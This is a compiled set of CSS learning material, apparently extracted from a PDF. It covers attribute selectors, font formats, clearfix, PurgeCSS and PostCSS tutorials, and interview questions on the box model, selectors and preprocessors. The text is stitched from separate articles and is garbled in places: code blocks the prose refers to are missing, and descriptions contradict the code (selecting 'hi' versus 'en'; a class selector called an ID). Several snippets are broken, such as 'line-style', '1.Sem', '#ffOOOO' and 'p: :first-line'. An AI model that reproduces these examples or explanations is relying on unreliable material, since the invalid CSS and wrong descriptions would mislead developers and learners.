accordingly.
Attributes also give us more options to play with the element and more control to handle
these elements through JavaScript or CSS. CSS developers have thought about the
similar composition and included the attributes in their selector library. These selectors
that work with the attributes are called CSS attribute selectors, and in this section, we
shall see a few of them with examples and demonstrations.
element [attribute] {
//styling
}
The first in our CSS selectors list of attribute selectors is the CSS [attribute] selector.
This is the simplest of all the selectors and requires just the attribute name in the
parameters. All the elements in the web page that contains this attribute name will be
selected to apply the styling.
The following code performs CSS styling on the “p” elements that have the “lang”
attribute:
p[lang]{
color: red;
font-size: 20px;
}
<p lang = “en”>Your Text</p>
<p>Your Text</p>
Run the above code in any browser to see the difference in styling in both “p” tags.
The developer can also target an attribute with a specific value to narrow down their
selection of elements. Rest everything remains the same as CSS [attribute] selector. The
syntax for the same is as follows:
We can tweak the above code to target only the paragraphs written in the “en” language.
Output
As expected, only the attribute “lang” with a value “hi” is selected, and the specified
styling is applied to it.
<style>
p[title ~= "shirt"]{
color: red;
font-size: 20px;
}
</style>
<p title="blue shirt">Your Text</p>
<p title="red shirt">Your Text</p>
<p title="hoodie">Your Text</p>
The above code selects the first two paragraphs since they have a shirt in their title,
which is the target attribute.
The CSS[attribute |= “value”] selector selects all those attribute values that start with
the word “value”. The following code demonstrates the selector:
<style>
p[title |= "shirt"]{
color: red;
font-size: 20px;
}
</style>
<p title="shirt-blue">Your Text</p>
<p title = "shirt-red">Your Text</p>
<p title = "hoodie">Your Text</p>
The above code colours the first two paragraphs into red colour. Note that CSS[attribute
|= “value”] selector works only when the value is either a single word in the attribute
such as only “shirt” or is hyphenated as “shirt-blue”. White space in between will not be
selected by the CSS for styling. The value has to be one word. For example, the following
code will only select the middle paragraph:
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Web Template</title>
<style>
p[title ^= "shirt"]{
color: red;
font-size: 20px;
}
</style>
</head>
<body>
<br><br>
<br><br>
<p title="shirt-blue">Your Text.</p>
<p title = "shirt red">Your Text.</p>
<p title = "hoodie">Your Text.</p>
</body>
</html>
Output
As seen in the above screenshot, the first two paragraphs are coloured red even though
one of the attribute values is a two word but starts from the word “shirt”.
<style>
p[title $= "shirt"]{
color: red;
font-size: 20px;
}
</style>
<p title="blue shirt">Your Text</p>
<p title = "shirt red">Your Text</p>
<p title = "hoodie">Your Text</p>
The above code colours the first paragraph into red colour. Note that the CSS [attribute
$= “value”] selector does not ask for a single or hyphenated word (one word). The
attribute values with multiple attributes are selected until they end with the word
“value”.
<style>
p[title *= "rt"]{
color: red;
font-size: 20px;
}
</style>
<p title="blue shirt">Your Text.</p>
<p title = "shirt red">Your Text</p>
<p title = "hoodie">Your Text</p>
The above code selects the first two paragraphs and color them red.
CSS attribute selectors are vital components of our CSS selectors cheat sheet as they
provide an easy way for developers to to target a lot of elements (generally input
elements) and style them according to the attributes. Another important use case in CSS
attribute selectors is while using the forms and other input-based elements. They can
also be combined using the class, ID or selector as demonstrated in pseudo-elements and
pseudo-classes. This one can be a good exercise for you.
Different font file formats exist to serve various purposes and to accommodate different
technological requirements. Each format has its own characteristics, features, and
advantages. Here are some common font file formats:
Compression: WOFF files are compressed, which helps reduce the file size and
improve web page loading times.
Purpose: An updated version of WOFF, designed for even better compression and
performance.
Browser Support: Supported by most modern web browsers, but not universally
supported in older browsers.
Purpose: Originally developed for desktop usage but commonly used on the web as
well.
Compression: TTF fonts can be compressed, but they are often larger in size
compared to WOFF formats.
Browser Support: Generally well-supported across various browsers.
Purpose: A scalable font format that can include both vector and bitmap data.
The choice of font file format depends on factors such as browser compatibility, file size
considerations, and the specific needs of a project. For modern web development, WOFF
and WOFF2 are widely recommended due to their efficient compression and broad
support. Developers often include multiple font formats in their CSS declarations to
ensure compatibility with various browsers. For example:
Including multiple formats ensures that the browser can choose the most suitable one
based on its capabilities, improving performance and compatibility.
Clearfix
1. @if $grid-type == float: This is a Sass conditional statement. It checks if the value
of the variable $grid-type is equal to the string "float". If this condition is true, the
subsequent block of styles will be applied.
2. &:after: This is a pseudo-element selector (:after) applied to the parent element (&).
In CSS, & is a reference to the parent selector, so &:after means applying styles to
the pseudo-element after the main element.
3. clear: both;: This CSS property is commonly used for clearfix. It ensures that the
element's content is cleared on both sides, preventing it from wrapping around floated
elements.
4. content: "";: This is required for the :after pseudo-element to generate content. In
this case, an empty string is used.
5. display: block;: This ensures that the generated content is treated as a block-level
element. This is a common practice in clearfix techniques.
In summary, this code is implementing a clearfix solution specifically for a grid type set
to "float". The clearfix technique is used to address issues with floated elements inside a
container. It ensures that the container expands to contain its floated children properly.
Keep in mind that modern layout techniques, such as Flexbox and Grid, have reduced the
need for traditional clearfix methods in many cases.
Yes, you can use the ::before and ::after pseudo-elements to add content before and after
an <input> element using CSS. However, these pseudo-elements are typically used with
elements that have visible content, such as elements with text content or generated
content.
Keep in mind that the <input> element is a void element and doesn't support the
insertion of child elements, including pseudo-elements, in the same way as other block or
inline elements.
If you want to add elements before and after an <input> element and have them visually
appear, you might need to wrap the <input> element in a container and then use
the ::before and ::after pseudo-elements on that container. Here's an example:
<div class="input-container">
<input type="text" id="username" />
</div>
CSS frameworks are collections of style sheets that are preprepared in advance and
come ready to use. Developers opt for CSS frameworks to deliver digital experiences in a
more intuitive, efficient, and standards-compliant manner.
However, CSS frameworks can also cause problems. It’s unlikely that you’ll use every
feature offered in a CSS framework, meaning unused code will be leftover in your final
application. Unused code can result in a larger file size, harm performance, make it easy
to lose track of each item, and cause optimization problems.
Removing unnecessary code will make your website load faster because the browser will
request and parse less code. In this tutorial, we’ll explore PurgeCSS, a tool for removing
unused CSS code. With PurgeCSS as a part of our development workflow, we can easily
remove unused CSS, resulting in smaller CSS files and improving our application overall.
Jump ahead:
When using CSS frameworks like Tailwind CSS and Bootstrap, we often find ourselves
with CSS codes not used in our project. This can play a huge role in generating
performance issues like longer page load times for your application.
For example, Tailwind uses PurgeCSS to remove unused CSS from final builds
automatically. Netflix Top 10 uses Tailwind on its entire website and only requires 6.5kB
for the CSS file. The CSS file would be ten times the final build size without removing
unused CSS.
This is because, during development, you use classes or make declarations that you wind
up not using. This isn’t an error on the developer’s part. These things are bound to
happen. So, the more classes are being generated (as in Tailwind, for example) for just
trying out a design you have in mind, the more your CSS file grows.
What is PurgeCSS?
PurgeCSS is a tool used to remove unused CSS. It is very often useful for optimizing your
applications for production. When you use CSS frameworks like Bulma, Bootstrap, or
Tailwind, you’ll find yourself with lots of unused CSS. While this is good during
development, it can be a real performance issue for production.
This is where PurgeCSS comes in. It analyzes your content as well as your CSS files to
determine which styles are unused and removes them instantly. PurgeCSS works with
the most common JavaScript libraries/frameworks like Vue.js, React, Gatsby, and more.
While PurgeCSS is not the only tool for removing unused CSS, it stands out thanks to its
modularity, ease of use, and wide range of customization options. Modularity enables
developers to create module extractors for specific use cases and frameworks. An
extractor is a function that reads the contents of a file and extracts a list of CSS selectors
that are used.
PurgeCSS provides a very reliable default extractor that can work with a wide range of
file types. However, by default, PurgeCSS ignores unused CSS code containing special
characters like @,:, and /. Therefore, PurgeCSS may not fit the exact file type or CSS
framework that you’re using.
Additionally, PurgeCSS has a wide range of options that allow you to customize its
behavior according to your needs. For example, PurgeCSS includes options
for fontFace, keyframes, extractors, css, and more. Customization can improve the
performance and efficiency of PurgeCSS.
And finally, PurgeCSS is very easy to get started with and includes thorough
documentation. At the time of writing, PurgeCSS is loved by developers, with 900k+
weekly downloads on npm and 7.4k GitHub stars.
PurgeCSS, which works best for production builds, and analyzes your content and CSS
and removes the unused styles. The contents indicate the page(s) that use your styles.
Running PurgeCSS during development can be unnecessary. This is because during
development, you’d often create unused styles, and it would mean you’d have to run
PurgeCSS every time.
Instead, you can run it for just the production build. This way, you won’t have to recreate
removed styles. So, when your app is ready for production, you can run PurgeCSS once.
Before we jump into using PurgeCSS with popular libraries/frameworks, let’s take a look
at how it works with vanilla JavaScript. Check out the following code:
(async () => {
const purgecss = await new PurgeCSS().purge({
content: ['index.html'],
css: ['style.css'],
});
console.log(purgecss);
})();
The code above is a simple example of using PurgeCSS. We specified index.html as one of
the contents and style.css as one of the CSS. We can have more content and CSS files;
interestingly, the contents are not limited to HTML files (we will see more later). The
example above returns an array of the purged styles.
There are more options other than just content and css for specifying exactly what you
want it to do and how you want it to do it; we will take a look at that in a moment. The
example above can be used for any vanilla JavaScript project. To use it, you need to have
a separate JavaScript file you will run once to remove unused styles.
So, if your app is ready to be built and sent, create the new js file, paste the code, and
run it. Right now, we are only logging purgecss, but you can change that. And, instead of
logging the result, you’d have the purged styles replace the current styles:
(async () => {
const purgecss = await new PurgeCSS().purge({
content: ['index.html'],
css: ['style.css'],
});
fs.writeFileSync('style.css', purgecss[0].css);
})();
As you can see, replacing the purged styles with the current styles is way easier with
JavaScript frameworks/libraries.
PostCSS
One of the relatively recent tools introduced for styling is PostCSS, which
aims to reinvent CSS with an ecosystem of custom plugins and tools.
Working with the same principles of preprocessors such as Sass and LESS, it
transforms extended syntaxes and features into modern, browser-friendly
CSS. Over the next few years, the way you use CSS will change in many
different ways. Every project will have different requirements, to which you will have to
adapt your production methods. Working within a modular ecosystem like PostCSS
allows you to pick and choose the features you want to complete a project.
The development of CSS, like all languages, is an iterative process. With every major
release, we get new features and syntaxes that help us write our styles. CSS Level 3
introduced features that enable us to design interactions that previously were possible
only with JavaScript. With every new day, tools emerge to make styling easier and more
flexible.
One of the relatively recent tools introduced for styling is PostCSS. PostCSS aims to
reinvent CSS with an ecosystem of custom plugins and tools. Working with the same
principles of preprocessors such as Sass and LESS, it transforms extended syntaxes
and features into modern, browser-friendly CSS.
JavaScript has the ability to transform our styles much more quickly than other
processors. Using task-runner tools like Gulp and Grunt, we can transform styles
through the build process, much like Sass and LESS compilation. Libraries and
frameworks like React and AngularJS allow us to write CSS directly in our JavaScript,
opening the door for JavaScript transformation of our styles.
Because PostCSS uses the Node.js framework, the abilities of the language and tools can
be easily modified and customized as needed. Other tools such as Sass and LESS limit the
abilities of the system to the methods available when the compiler was written.
Due to its use of an API, PostCSS allows us to create custom plugins and tools for any
features they may need. This modular platform design makes the tool neutral, which in
turn focuses features on project requirements. PostCSS is agnostic to language format
and allows for the syntax style of different preprocessors, like Sass and LESS, if needed.
The Benefits Of Thinking Modularly #
Most developers rarely start a project from scratch. Many start with a Sass boilerplate
that holds variables, mixins and functions to be used in a given project. We’ll have a
separate style sheet for functions, mixins, grid systems and general utilities to make
production easier. At the end of the day, we end up with 10 or more style sheets to keep
things organized.
Maintaining a library of Sass or LESS snippets can be an overwhelming task and can
leave a project bloated. Many projects have unused mixins and functions, included as
“just in case” code. PostCSS enables easily installable, plug-and-play modules, making
the development process more flexible for the unique needs of a project.
PostCSS moves all of the code needed to create functions, utilities and mixins out of our
production style sheets and wraps them as plugins. Now, for each project, we can pick
and choose the tools needed by including plugins in our task runner.
An example of this power is the plugin PostCSS FontPath. With Sass, we could include a
mixin in our files that allows for custom web fonts; thus, we created @font-face tags.
Using the PostCSS FontPath plugin in our project, we no longer need to include Sass
mixins like the one above. We can write the following code in our CSS, and PostCSS will
transform it, via Grunt or Gulp, into the code we need.
@font-face {
font-family: 'My Font';
font-path: '/path/to/font/file';
font-weight: normal;
font-style: normal;
}
As of the writing of this post, over 100 community plugins are currently available that
allow for such things as future CSS syntax, shortcuts, tools and extensions of the
language. It is beyond a “cool tool,” and it currently counts WordPress, Google and
Twitter teams among its user base.
Because PostCSS is written in JavaScript, we can use task runners like Gulp and Grunt to
transform the CSS in our projects. The tutorial below demonstrates how to incorporate
PostCSS in your workflow via either Gulp or Grunt. Using one tool over the other is not
crucial and is simply a matter of personal preference or what’s best for the project.
Note: A complete version of both the Gulp and Grunt versions of the tool is available on
GitHub. Feel free to use it as a starter template and to expand on it as needed.
If you are unfamiliar with Gulp, I’d recommend reading “Building With Gulp” by Callum
Macrae to get up and running with the tool.
To install the PostCSS module in your project, run the following command in your
terminal: npm i gulp-postcss -D.
In your project’s Gulpfile.js, we need to require our installed PostCSS module and then
use it within a task. Be sure to update the paths to your development files and the
directory where the transformed output will go.
gulp.task('styles', function () {
return gulp.src('path/to/dev/style.css')
.pipe(postcss([]))
.pipe(gulp.dest(path/to/prod))
});
Note: If you are unfamiliar with Grunt, I’d recommend reading “Get Up and Running
With Grunt” by Mike Cunsolo to get comfortable with the tool.
To install the PostCSS module in your project, run the following command in the
terminal: npm i grunt-postcss -D.
Once the plugin is installed on your system, enable it within the Gruntfile and create a
task, as below. Be sure to update the cwd and dest values to reflect the structure of your
app.
module.exports = function(grunt) {
grunt.initConfig({
pkg: grunt.file.readJSON('package.json'),
styles: {
options: {
processors: []
},
dist: {
files: [{
expand: true,
cwd: 'dev/',
src: ['**/*.css'],
dest: 'prod/'
}]
}
}
});
// Load post-css.
grunt.loadNpmTasks('grunt-postcss');
};
INSTALLING PLUGINS #
Using PostCSS on its own is not entirely powerful; its strength lies in the plugins. You
may have noticed that in the Gulp and Grunt implementations above there were empty
arrays in the task declarations. These arrays are where we can import community-
developed PostCSS plugins, the features we want to include in our tool.
A list of approved PostCSS plugins can be found on PostCSS’ GitHub page and, like all
NPM packages, the plugins can be installed through the command line. Many plugins can
be used only as extensions of PostCSS and are agnostic to the task runner you are using.
For this example, we will install the PostCSS Focus plugin, which will add a :focus to
every hover state.
With all of the plugins in the following examples, we will need to use the command line
and NPM to install the packages in our projects.
npm i postcss-focus -D
The plugins can be passed into the method directly; however, for the sake of cleanliness,
we can construct an array and pass it in as an argument. In the array, we can include the
necessary require statements that return the plugins and that are then called
immediately. If you would like to read more about this concept, look through “Functions
as First-Class Citizens in JavaScript” by Ryan Christiani.
require('postcss-focus')()
The modified code for Grunt, with our newly created processorArray arrays, is below:
var processorArray = [
require('postcss-plugin')()
];
var processorArray = [
require('postcss-plugin')()
];
gulp.task('styles', function () {
gulp.src('path/to/dev/style.css')
.pipe(postcss(processorArray))
.pipe(gulp.dest('path/to/prod'))
});
Plugins #
Once we have installed a plugin and our build tool is prepared to compile our code, we
can use PostCSS and the plugin features. The first thing to do is create a file with
a .css extension in the directory where we store our development code.
“Wait! A CSS file?” Yup, a CSS file. Because PostCSS transforms our CSS, we don’t need
to use a specialized syntax — just traditional CSS. If you are familiar with preprocessors,
then it might feel unnatural to leave the .sass, .scss, .styl or .less files behind and return
to .css. But, in fact, it’s not converting — it’s transforming.
To process our styles with our newly installed PostCSS plugins, we can run our task
runners with grunt styles and gulp styles, respectively. Our development CSS file will be
processed through the PostCSS plugin and the plugins provided, and then it will be
outputted to our specified production directory.
Below are a few plugins of note that might be of benefit as you get started with PostCSS.
Included are instructions on installing and using the plugin.
AUTOPREFIXER #
Writing styles to work on a wide gamut of browsers and devices can be a pain, and
keeping up to date with which properties and values need a vendor prefix is a challenge
in itself. Luckily, Autoprefixer figures out where and when to provide vendor prefixes.
The plugin frees us to write styles with modern features and properties in mind, while
taking care of vendor prefixes on the properties and values that need them.
npm i autoprefixer -D
When we add the plugin to our array, we can provide an object that contains an array of
the browser scope the project will need to support. A list of options that can be provided
is found at the Browserslist Github Account.
var processorsArray = [
// snipped for brevity
require('autoprefixer')({ browsers: ['last 2 versions', 'ie 6-8', 'Firefox
> 20'] })
];
The appropriate vendor prefixes will be outputted to any CSS properties and values in
our styles that need them, according to the object provided.
.item {
display: flex;
flex-flow: row wrap;
}
.item {
display: -webkit-flex;
display: -ms-flexbox;
display: -webkit-box;
display: flex;
-webkit-flex-flow: row wrap;
-ms-flex-flow: row wrap;
flex-flow: row wrap;
}
CSS4 will soon be upon us, and with it comes features such as native variables, custom
media queries, custom selectors and new pseudo-links. While they are not yet supported
in all browsers as of the writing of this article, they will be implemented in modern
browsers as the specification gets approved.
CSSNext is a tool that transforms any CSS4 features and properties into CSS3 that
browsers can read. The tool can be used on its own or as a plugin through PostCSS.
Again, we can add it to processorsArray, which contains our other PostCSS plugins.
Install the CSSNext plugin via the command line, like so:
npm i cssnext -D
var processorsArray = [
// snipped for brevity
require('cssnext')()
];
Now, in your production code, you can write CSS4 features, and PostCSS will transform
the syntax through the task runner, thereby supporting today’s browsers. When browsers
come to support the newer syntax, you can replace the transformed output with the
development CSS.
// Custom Variables
:root {
--linkColour: purple;
}
a {
color: var(--linkColour);
}
// Custom selectors
@custom-selector :--enter :hover, :focus;
@custom-selector :--input input, .input, .inputField;
a:--enter {
/* Enter styles go here */
}
:--input {
/* Input field styles go here */
}
a {
color: purple;
}
a:focus,a:hover{
background:#00f;
}
SASS SYNTAX #
If Sass is your go-to preprocessor language, fear not: You can use the syntax and its tools
with PostCSS. While traditional CSS doesn’t yet support variables, nesting and imports,
plugins such as PreCSS allow us to use these features and to write Sass syntax in our
traditional CSS files.
If we add the plugin to our build via the command line and refer to the package in our
array, we can start writing in Sass syntax immediately. If you’re making the switch from
Sass to PostCSS, you can change the file extension to .css and immediately pipe it
through your task runner.
Install the PreCSS plugin via the command line, like so:
npm i precss -D
var processorsArray = [
// snipped for brevity
require('precss')()
];
Copy
/*Variables*/
$blue: #0000ff;
$green: #00ff00;
$radius: 10px;
.square {
background: $blue;
border-radius: $radius;
}
/*Imports*/
@import "partials/_base.css";
/*Mixins*/
@define-mixin square $dimension {
width: $dimension;
height: $dimension;
}
.square {
background: #0000ff;
border-radius: 10px;
}
.button {
width: 200px;
height: 200px;
background: #00ff00;
}
.button:hover {
background: #0000ff;
}
QUANTITY QUERIES #
Quantity queries are powerful. They allow us to count elements with CSS and apply styles
based on their number of siblings. While the selectors are a bit tricky to write, because
they use some advanced CSS selectors, you can use them in your CSS today. While online
tools like QQ exist to help us write these queries, we can use PostCSS to use custom
selectors in our styles directly.
To use quantity queries, install the Quantity Queries plugin in your project like any other,
via the command line:
npm i postcss-quantity-queries -D
var processors = [
// Snipped for brevity
require('postcss-quantity-queries')()
];
Once it’s installed, you can use custom selectors, available only through the plugin, to
apply styles based on matched elements.
When writing styles, you might encounter properties whose syntax makes you say, “That
could be shorter.” Luckily, the Short plugin helps us do just that: write our styles more
logically. It enables us to write shorthand properties for position and size, much like
how background and font can be condensed into a single declaration.
Through the PostCSS API, the shorthand declarations are transformed into browser-
digestible styles, allowing for a cleaner development style sheet and a more organized
production style sheet.
npm i postcss-short -D
var processors = [
require('postcss-short')()
];
The text property includes these typographical properties: color, font-style, font-
variant, font-weight, font-stretch, text-decoration, text-align, text-rendering, text-
transform, white-space, font-size, line-height, letter-spacing, word-spacing and font-
family.
p {
text: 300 uppercase dimgrey center 1.6rem 1.7 .05em;
}
The position property allows for top, left, right, bottom values to be included in the
declaration. The order of the values is clockwise, in a syntax with values from 1 to 4. If
there is a value you care to exclude, simply pass an * in its place.
section {
position: absolute 10px * *;
}
.topNav {
position: fixed 0 * * 0;
}
.modal {
position: fixed 40% 25%;
}
section {
position: absolute;
top: 10px;
}
.topNav {
position: fixed;
top: 0;
left: 0;
}
.modal {
position: fixed;
top: 40%;
right: 25%;
bottom: 40%;
left: 25%;
}
Using PostCSS today and reaping the benefits are completely possible. Much like how we
compile Sass and LESS, you can incorporate it in your workflow by modifying your task
runner to process PostCSS. Incorporating a plugin like PreCSS allows your existing Sass
projects to be ported over to PostCSS without needing any conversion of the syntax.
As of the writing of this article, a discussion is ongoing about where is the best place to
write our CSS. With libraries such as React gaining popularity, the idea of writing
styles within the components themselves, which allows us to transform styles with
JavaScript directly on compilation, is gaining momentum. While this is still very much a
discussion, it is indeed one way to transform styles with PostCSS.
Another project making waves in the industry is CSS Modules, which scopes styles to
local files and requires them as needed. This concept is already popular in JavaScript
circles. And as the lines between front-end languages such as React and JSX continue to
blur, it becomes hard to ignore the combined power of CSS and JavaScript.
While PostCSS extends CSS in brand new ways through custom syntaxes and properties,
it could present challenges to beginners who are trying to get comfortable with the
language and its intricacies. If you use PostCSS in a project with a junior developer, try
to encourage in them a deep understanding of the language and of how PostCSS, much
like Sass, is simply a production tool that allows styles to be written efficiently.
Over the next few years, the way we use CSS will change in many different ways. Every
project will have different requirements, to which we will have to adapt our production
methods. Working within a modular ecosystem like PostCSS allows us to pick and choose
the features we want to complete a project.
I encourage you to explore the PostCSS world and all of the plugins available in it.
Because it is a community project, the ecosystem will grow only if people use it and
create plugins. To explore more plugins, view the available packages on NPM and test
their abilities in the Post CSS Playground.
.arrow_box {
position: relative;
background: #88b7d5;
border: 4px solid #c2e1f5;
}
.arrow_box:after, .arrow_box:before {
right: 100%;
top: 50%;
border: solid transparent;
content: "";
height: 0;
width: 0;
position: absolute;
pointer-events: none;
}
.arrow_box:after {
border-color: rgba(136, 183, 213, 0);
border-right-color: #88b7d5;
border-width: 30px;
margin-top: -30px;
}
.arrow_box:before {
border-color: rgba(194, 225, 245, 0);
border-right-color: #c2e1f5;
border-width: 36px;
margin-top: -36px;
}
CSS stands for Cascading Style Sheet. It’s a style sheet language that determines how
the elements/contents in the page are looked/shown. CSS is used to develop a consistent
look and feel for all the pages.
CSS was developed and is maintained by the World Wide Web Consortium (W3C). It was
first released on December 17, 1996. The CSS Working group currently working with
different browser vendors to add/enforce the new feature/ specifications in all the
browsers.
CSS enables the separation of the content from the presentation. This separation
provides a lot of flexibility and control over how the website has to look like. This is the
main advantage of using CSS.
CSS3 or Cascading Style Sheets Level 3 is the third version of the CSS standard that is
used to style and format web pages. CSS3 incorporates CSS2 standard with some
improvements over it. The main change in CSS3 is the inclusion of divisions of standards
into different modules that makes CSS3 easier to learn and understand.
What is the difference between the usage of an ID and a Class?
Class – Just like the word suggests, a class is a collective way of targeting HTML
elements for styling. Classes are not unique and multiple elements can have the same
class. In fact, multiple classes can also be added to the same element to achieve the
desired style and look. Below is an example of the usage of classes.
What is the Box model in CSS? Which CSS properties are parts of it?
The box model is a fundamental concept in CSS that describes how elements are
structured and how they are displayed on a web page.
In CSS, every element on a web page is essentially a rectangular box, consisting of four
parts: margin, border, padding, and content. The content area contains the actual
content of the element, while the padding is the space between the content and the
border, and the border is the visible line that surrounds the content and padding. The
margin is the space between the border and the adjacent elements.
The dimensions of a block element are calculated by width, height, padding, borders,
and margin.
If no width is specified, a non-floated block element will expand to fit the width of its
parent minus padding.
By default, padding and border are not part of the width and height of an element.
The box model is important because it helps developers understand how elements are
laid out on a web page and how they interact with each other. By setting values for
margin, border, and padding, developers can control the size and spacing of elements on
the page, and create more visually appealing layouts.
The box-sizing property in CSS allows you to control how the total width and height of
an element are calculated, taking into account its content, padding, and border. It affects
the box model behavior, particularly how the specified width and height of an element
are interpreted.
By default, the box-sizing property is set to content-box, which means that the
specified width and height of an element only apply to its content area, excluding
padding and border. This is the traditional box model behavior.
However, you can change the box-sizing property to border-box, which alters the box
model behavior. When box-sizing: border-box is applied to an element, the specified
width and height now include the content, padding, and border. In other words, the
element’s overall width and height will be calculated by adding the padding and border
to the specified width and height.
Key Attributes
Height & Width: Element dimensions are determined by the sum of content
width/height, and any padding, border, or margin added to it.
Border: Specifies the size, style, and color of the border surrounding the content and
padding.
Margins
Auto Margins
When the surrounding container has a defined width, horizontal margins set to "auto"
equally distribute the remaining horizontal space on both sides of the element, centering
it within the container.
#autoMarginExample {
width: 50%;
margin-left: auto;
margin-right: auto;
}
Box Sizing
By default, the width of an element does not include padding or border. CSS can alter
this behavior using the box-sizing property:
Content-Box (default): The element's specified width and height are calculated
excluding padding and border. When you change the width or height of an element
using CSS, this is the model being used.
Border-Box: The width and height comprise the content, padding, and border,
avoiding the expansion of the box when adding padding or border to an element.
#borderBoxExample {
box-sizing: border-box;
}
Easy to maintain - CSS, built effectively can be used to change the look and feel
complete by making small changes. To make a global change, simply change the style,
and all elements in all the web pages will be updated automatically.
Bandwidth - Used effectively, the style sheets will be stored in the browser cache
and they can be used on multiple pages, without having to download again.
What are the advantages and disadvantages of using external style sheets?
In embedded style sheets, it is possible to generate classes for use on multiple tag
types in a document.
In embedded style sheets, controlling the styles for multiple files from one file is not
possible.
Browser Compatibility: Some style selectors are supported and some are not. We
have to determine which style is supported or not using the @support selector).
There is no parent selector: Currently, Using CSS, you can’t select a parent tag.
The box-sizing property allows us to include the padding and border in an element’s
total width and height.
If you set box-sizing: border-box; on an element, padding and border are included in
the width and height:
CSS:
.div1 {
width: 300px;
height: 100px;
border: 1px solid blue;
box-sizing: border-box;
}
.div2 {
width: 300px;
height: 100px;
padding: 50px;
border: 1px solid red;
box-sizing: border-box;
}
A CSS selector is the part of a CSS ruleset that actually selects the content you want to
style. Different types of selectors are listed below.
Universal Selector: The universal selector works like a wildcard character, selecting all
elements on a page. In the given example, the provided styles will get applied to all the
elements on the page.
* {
color: "green";
font-size: 20px;
line-height: 25px;
}
Element Type Selector: This selector matches one or more HTML elements of the same
name. In the given example, the provided styles will get applied to all the ul elements on
the page.
ul {
line-style: none;
border: solid 1px #ccc;
}
ID Selector: This selector matches any HTML element that has an ID attribute with the
same value as that of the selector. In the given example, the provided styles will get
applied to all the elements having ID as a container on the page.
#container {
width: 960px;
margin: 0 auto;
}
<div id="container"></div>
Class Selector: The class selector also matches all elements on the page that have their
class attribute set to the same value as the class. In the given example, the provided
styles will get applied to all the elements having ID as the box on the page.
.box {
padding: 10px;
margin: 10px;
width: 240px;
}
<div class="box"></div>
Descendant Combinator: The descendant selector or, more accurately, the descendant
combinator lets you combine two or more selectors so you can be more specific in your
selection method.
#container .box {
float: left;
padding-bottom: 15px;
}
<div id="container">
<div class="box"></div>
<div class="box-2"></div>
</div>
<div class=”box”></div>
This declaration block will apply to all elements that have a class of box that is inside an
element with an ID of the container. It’s worth noting that the .box element doesn’t have
to be an immediate child: there could be another element wrapping .box, and the styles
would still apply.
Child Combinator: A selector that uses the child combinator is similar to a selector that
uses a descendant combinator, except it only targets immediate child elements.
#container> .box {
float: left;
padding-bottom: 15px;
}
<div id="container">
<div class="box"></div>
<div>
<div class="box"></div>
</div>
</div>
The selector will match all elements that have a class of box and that are immediate
children of the #container element. That means, unlike the descendant combinator, there
can’t be another element wrapping .box it has to be a direct child element.
h2 ~ p {
margin-bottom: 20px;
}
<h2>Title</h2>
<p>Paragraph example.</p>
<p>Paragraph example.</p>
<p>Paragraph example.</p>
<div class=”box”>
<p>Paragraph example.</p>
</div>
In this example, all paragraph elements (<p>) will be styled with the specified rules, but
only if they are siblings of <h2> elements. There could be other elements in between
the <h2> and <p>, and the styles would still apply.
Adjacent Sibling Combinator: A selector that uses the adjacent sibling combinator
uses the plus symbol (+), and is almost the same as the general sibling selector. The
difference is that the targeted element must be an immediate sibling, not just a general
sibling.
p + p {
text-indent: 1.Sem;
margin-bottom: 0;
}
<h2>Title</h2>
<p>Paragraph example.</p>
<p>Paragraph example.</p>
<p>Paragraph example.</p>
<div class=”box”>
<p>Paragraph example.</p>
<p>Paragraph example.</p>
</div>
The above example will apply the specified styles only to paragraph elements that
immediately follow other paragraph elements. This means the first paragraph element on
a page would not receive these styles. Also, if another element appeared between two
paragraphs, the second paragraph of the two wouldn’t have the styles applied.
Attribute Selector: The attribute selector targets elements based on the presence
and/or value of HTML attributes, and is declared using square brackets.
input [type=”text”] {
background-color: #444;
width: 200px;
}
<input type="text">
What is a CSS Preprocessor? What are Sass, Less, and Stylus? Why do people use
them?
A CSS Preprocessor is a tool used to extend the basic functionality of default vanilla CSS
through its own scripting language. It helps us to use complex logical syntax like –
variables, functions, mixins, code nesting, and inheritance to name a few, supercharging
your vanilla CSS.
SASS: Sass is the acronym for “Syntactically Awesome Style Sheets”. SASS can be
written in two different syntaxes using SASS or SCSS
SASS Syntax
$font-color: #fff
$bg-color: #00f
#box
color: $font-color
background: $bg-color
SCSS Syntax
$font-color: #fff;
$bg-color: #00f;
#box{
color: $font-color;
background: $bg-color;
}
LESS: LESS is an acronym for “Leaner Stylesheets”. LESS is easy to add to any
javascript projects by using NPM or less.js file. It uses the extension .less.
LESS syntax is the same as the SCSS with some exceptions. LESS uses @ to define the
variables.
@font-color: #fff;
@bg-color: #00f
#box{
color: @font-color;
background: @bg-color;
}
Stylus: Stylus offers a great deal of flexibility in writing syntax, supports native CSS as
well as allows omission of brackets, colons, and semicolons. It doesn’t use @ or $ for
defining variables.
#box {
color: font-color;
background: bg-color;
}
/* OR */
It’s a CSS unit used to measure the height and width in percentage with respect to the
viewport. It is used mainly in responsive design techniques. The measure VH is equal to
1/100 of the height of the viewport. If the height of the browser is 1000px, 1vh is equal to
10px. Similarly, if the width is 1000px, then 1 vw is equal to 10px.
Reset CSS: CSS resets aim to remove all built-in browser styling. For example margins,
paddings, font-sizes of all elements are reset to be the same.
Normalize CSS: Normalize CSS aims to make built-in browser styling consistent across
browsers. It also corrects bugs for common browser dependencies.
Block Element: The block elements always start on a new line. They will also take space
for an entire row or width. List of block elements are <div>, <p>.
Inline Elements: Inline elements don't start on a new line, they appear on the same line
as the content and tags beside them. Some examples of inline elements are <a>, <span>
, <strong>, and <img> tags.
Inline Block Elements: Inline-block elements are similar to inline elements, except they
can have padding and margins and set height and width values.
It’s most important to test a website in different browsers when you’re first designing it,
or when making major changes. However, it’s also important to repeat these tests
periodically, since browsers go through a lot of updates and changes.
Pseudo-elements allows us to create items that do not normally exist in the document
tree, for example ::after.
::before
::after
::first-letter
::first-line
::selection
In the below example, the color will appear only on the first line of the paragraph.
p: :first-line {
color: #ffOOOO;
font-variant: small-caps;
}
Pseudo-classes select regular elements but under certain conditions like when the user
is hovering over the link.
:link
:visited
:hover
:active
:focus
Example of the pseudo-class, In the below example, the color applies to the anchor tag
when it’s hovered.
How do you specify units in the CSS?. What are the different ways to do it?
There are different ways to specify units in CSS like px, em, pt, percentage (%). px(Pixel)
gives fine-grained control and maintains alignment because 1 px or multiple of 1 px is
guaranteed to look sharp. px is not cascade. em maintains relative size. you can have
responsive fonts. Em, will cascade 1em is equal to the current font-size of the element or
the browser default. If u sent font-size to 16px then 1em = 16px. The common practice is
to set default body font-size to 62.5% (equal to 10px).
